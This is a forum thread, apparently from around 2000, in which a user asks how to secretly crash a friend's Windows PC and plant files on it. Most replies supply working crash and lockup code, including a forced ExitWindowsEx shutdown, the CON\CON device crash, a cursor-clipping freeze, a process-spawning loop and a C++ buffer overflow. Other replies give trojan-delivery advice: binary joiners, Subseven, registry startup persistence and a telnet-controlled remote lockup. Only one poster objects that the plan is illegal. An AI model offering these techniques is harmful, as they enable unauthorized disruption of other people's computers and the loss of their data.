I want to know how to crash the users pc, I dont want to delete any files, but I dont want an error message to come up eaither
will this work:
do
dim a as currency
a = a * 2
loop until error
Printable View
I want to know how to crash the users pc, I dont want to delete any files, but I dont want an error message to come up eaither
will this work:
do
dim a as currency
a = a * 2
loop until error
Why do you want to crash the users PC?
becuase my friend gets annoying sometimes so I can directly connect (thorugh hacking software) and send him the file, then send him an im with a link to the file on his hard drive. and becuase I want to make it so that when I start my computer, I give my self 1 minute to enter a password, if I dont then the computer will crash, so noone else can use my computer with out my permission, and if they do, they loose all there un saved files :)
Poor friend! :rolleyes:
Simple, just use this line:Code:Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Const EWX_SHUTDOWN = 1
Private Const EWX_FORCE = 4
Sub ForceTheComputerToShutDownWithoutTellingAnyOfTheCurrentlyRunningProgramsToDoTheirVariousUnloadAndQueryUnloadEvents()
Call ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE, 0)
End Sub
Call ForceTheComputerToShutDownWithoutTellingAnyOfTheCurrentlyRunningProgramsToDoTheirVariousUnloadAndQue ryUnloadEvents :rolleyes:
also, do any of you know programs that I can use to send him the file? (without him knowing) becuase I got his ip
You can't, he has to run a program which will receive the file. :rolleyes:
Just shutdown windows using the ExitWindowsEx API call.
Later
REM
oh that sucks, do you know of any programs that do that?
Make a C++ file where an array is declared to have, say 2 elements. Then add data as if the array had 2000 elements. (C++ doesn't have array bounds checks ;) ) That'll screw it up rudely, not close it down politely ;)
I know as much about c++ as you know about assembler (unless you know assembler) I think that its getting (V)ery Complicated
You can make a program to recieve the file...getting it on your friends computer is another thing, (send it hidden with another file, like a pic you want to show him) then you can have it always run, so it can accept your file. BTW: Ip addresses change unless he is on a cable modem.
actually they dont change, its only if he's on aol it changes becuase aol has this saftey software that always changes it
Just make a program to put on his computer (link to it in the regiistry so it starts up w/ win) and have it respond to telnet messages. If you send the "l" message, it lockup the computer, and "u" un-lockups it.
there are several different ways to crash the computer:
Code:Do
'Nothing in between the Do and Loop will effectively lock up the computer.
Loop
Code:Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Call ShellExecute(me.hwnd,"Open","c:\con\con", vbnullstring, app.path,0)
This one simulates a lockup:Code:Declare Function SetParent Lib "user32" Alias "SetParent" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Declare Function GetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Long
Call SetParent(GetDesktopWindow,me.hwnd)
Code:Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Dim a as rect
a.top = 0
a.left = 0
a.right = 0
a.bottom = 0
Call ClipCursor(a)
A good way to crash a computer is to Shell a few things a few times. I am almost sure it will work.
And if you have his IP, you can actually freeze his computer, delete files, run files, and a few other things, I saw an example on http://www.planet-source-code.com of how to do it, don't remember what it was called, but try searching "IP" and "Winsock".Code:Do
Shell "C:\Windows\Explorer.exe"
Shell "Command.com"
DoEvents
Loop
Hope that helps.
Yes, your right Denniswren....
Sincere apologies
[Edited by The Riddler on 08-25-2000 at 09:28 PM]
wow your a dick outside of the chitchat forum too!
take that down, or john Will he did it about 3 times before,
and not to be a party pooper here, but what you guys wanna do is illegal, because you are accesiing another persons computer without their permission.
I'm saving this page before john delete's it
if you have win9x
link to -> "file://C:/CON/CON"
cool way to crash a computer!
file://C:/CON/CON
That C++ file...
Code:int main()
{
int CrashArr[1];
int i;
//Sets 2.4 MBs of memory to 0
for (i=0; i < 600000; i++)
CrashArr[i] = 0;
//Not that it's going to get here, but...
return 0;
}
Haven't tested it yet, but I will now. :)
[/i]
Damn, the forum screwed that post up.
You see, on the line where is says CrashArr = 0, it should be:
(without the @s)
CrashArr[@i@] = 0
You could do that in VB as well just check the "Remove Array Bound Checks" checkbox in the Advanced Optimizations dialog box. But this will not crash Windows, only your own application because all apps are run in protected memory areas.Quote:
Originally posted by V(ery) Basic
Make a C++ file where an array is declared to have, say 2 elements. Then add data as if the array had 2000 elements. (C++ doesn't have array bounds checks ;) ) That'll screw it up rudely, not close it down politely ;)
I just ran the app I posted...
It froze the computer completely .. no BSOD ... Ctrl+Alt+Del didn't do anything. Had to restart by pressing the restart button.
Really good crash.
This is what C++ is for ;)
I can send the app to you, dimava, if you want.
Hmmmm... You must be running Windows 95 because when I tested this on my WinNT 4.0 mashine doctor Watson just kicked the program out.
I'll be honnost wih you guy, I didn't read all the posts or tried any of the code but as soon as I get a chance, I'll try it all out and let you know if it worked or not
--The following is for educational purposes only! I take no responsibility...(yadda yadda)--
As for getting the file into his computer you can try a binary joiner. One exe has 2 programs codes in it...One is some lame animation etc...the other is your file which writes it self into win.ini under "[run]" or something.
Or some thing like Subseven. But you still need the server file on his computer.
Have fun... ;)
Yeah, I am running Win 95.Quote:
Originally posted by Joacim Andersson
Hmmmm... You must be running Windows 95 because when I tested this on my WinNT 4.0 mashine doctor Watson just kicked the program out.
NT must be much safer.
Who is this Dr. Watson? I'd like to get my hands on him...
That would be called a trojen. I have written stuff like this before. Actually, my trojens just give an error message "ActiveX component can't create object", unless it's run with a /s on the commandline (hint...)Quote:
Originally posted by Cbomb
--The following is for educational purposes only! I take no responsibility...(yadda yadda)--
As for getting the file into his computer you can try a binary joiner. One exe has 2 programs codes in it...One is some lame animation etc...the other is your file which writes it self into win.ini under "[run]" or something.
Or some thing like Subseven. But you still need the server file on his computer.
Have fun... ;)
Dr Watson is the NT bad program logger, which keeps track of which programs have either been naughty or crashed. Sorry, but to crash NT you'll need a bit more skill :)
Yupp! Dr Watson always keeps poping up on my mashine, but I think that to crash a computer running NT (and one that is configured the right way) you need more than skills :)Quote:
Originally posted by parksie
Dr Watson is the NT bad program logger, which keeps track of which programs have either been naughty or crashed. Sorry, but to crash NT you'll need a bit more skill :)